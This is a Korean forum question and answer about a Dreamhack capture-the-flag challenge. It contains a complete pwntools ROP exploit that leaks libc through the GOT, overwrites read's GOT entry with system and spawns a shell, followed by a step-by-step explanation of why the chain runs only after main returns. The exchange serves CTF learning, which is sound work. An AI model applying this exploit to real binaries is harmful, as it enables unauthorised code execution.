코드 흐름 순서
from pwn import *
p = remote("host3.dreamhack.games", 14928)
elf = ELF("./basic_rop_x64")
libc = ELF("./libc.so.6")

read_plt = elf.plt['read']
read_got = elf.got['read']
write_plt = elf.plt['write']
pop_rdi = 0x0000000000400883
pop_rsi_r15 = 0x0000000000400881
ret = 0x00000000004005a9


payload = b'A'*0x40 + b'B'*0x08
payload += p64(pop_rdi) + p64(1) + p64(pop_rsi_r15) + p64(read_got) + p64(0) + p64(write_plt)
payload += p64(pop_rdi) + p64(0) + p64(pop_rsi_r15) + p64(read_got) + p64(0) + p64(read_plt)
payload += p64(pop_rdi) + p64(read_got + 8) + p64(ret) + p64(read_plt)

p.send(payload)

p.recvuntil(b"A"*0x40)
read_leak = u64(p.recv(6) + b'\x00'*2)
libc_base = read_leak - libc.symbols['read']
system = libc_base + libc.symbols['system']

print("read: ", hex(read_leak))
print("libc_base: ", hex(libc_base))
print("system: ", hex(system))

p.send(p64(system) + b'/bin/sh\x00')

p.interactive()

위 코드에서 read(0, buf, 0x400); 에서 입력은 한 후 payload를 통해 작성한 return address 가 실행 된후 write(1, buf, sizeof(buf));가 실행되는 것이라고 생각했는데 실행해보면 write(1, buf, sizeof(buf));가 먼저 실행됩니다
이유가 뭔가요??

#pwnable
작성자 정보
답변 1
ro
대표 업적 없음

질문의 의도를 제가 정확히 이해했는지는 확실하지 않지만, 풀이를 하면서 비슷한 궁금증을 가졌다가 해결한 기억이 있어서 답변드립니다.

  1. c소스 코드에서 read(0, buf, 0x400);buf 변수에 최대 0x400 크기의 입력을 받아 저장하는 것으로, payload를 전달해줬을 때, payload를 바로 수행하는 것이 아닌 메모리에 값을 쓰는 것 밖에 하지 않습니다.
    따라서, return_address에 이어 ROP를 통해 연속으로 코드 가젯을 쓴다고 한들, 아직 main 함수가 끝나기 전이므로 return_address에 작성한 payload를 실행할 순서가 아닙니다. 따라서 바로 payload로 전달한 코드가 실행되지 않고, 이어서 write(1, buf, sizeof(buf)); 가 먼저 실행되기 됩니다.

  2. 그렇기 때문에 write(1, buf, sizeof(buf));가 수행되고 소스 코드의 main 함수의 수행이 끝나게 되면 return_address로 도착해 Overwrite한 payload가 전달되게 되고,
    먼저 payload += p64(pop_rdi) + p64(1) + p64(pop_rsi_r15) + p64(read_got) + p64(0) + p64(write_plt) 에서 read_got 값이 write콜을 통해 출력된 이후,
    payload += p64(pop_rdi) + p64(0) + p64(pop_rsi_r15) + p64(read_got) + p64(0) + p64(read_plt)를 통해 GOT Overwrite를 위한 read콜이 수행되게 되며,
    여기서 입력을 추가로 하기 위해 앞에서 write콜을 통해 출력한 read_gotlibc의 오프셋을 통해 구한 system 함수 주소와 /bin/sh 문자열을 아래에서 p.send(p64(system) + b'/bin/sh\x00')를 통해 전달하여 read_got 값을 overwrite하게 됩니다.

  3. 그럼 read 콜이 끝났으니 이어서 payload += p64(pop_rdi) + p64(read_got + 8) + p64(ret) + p64(read_plt)를 수행하게 됩니다.
    read_plt는 이제 GOT Overwrite에 의해 system 함수를 수행하게 되고 rdi에는 p.send(p64(system) + b'/bin/sh\x00')를 통해 전달한 /bin/sh 문자열이 저장되게 되어 system('/bin/sh') 함수를 수행하게 되어 쉘을 획득하게 됩니다.

제 설명이 질문 의도와 맞다면 다행이고, 혹시 아니라면 다른 분들께서 더 좋은 답변을 주시면 감사드릴 것 같습니다. 감사합니다.

2024.03.21. 10:37
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기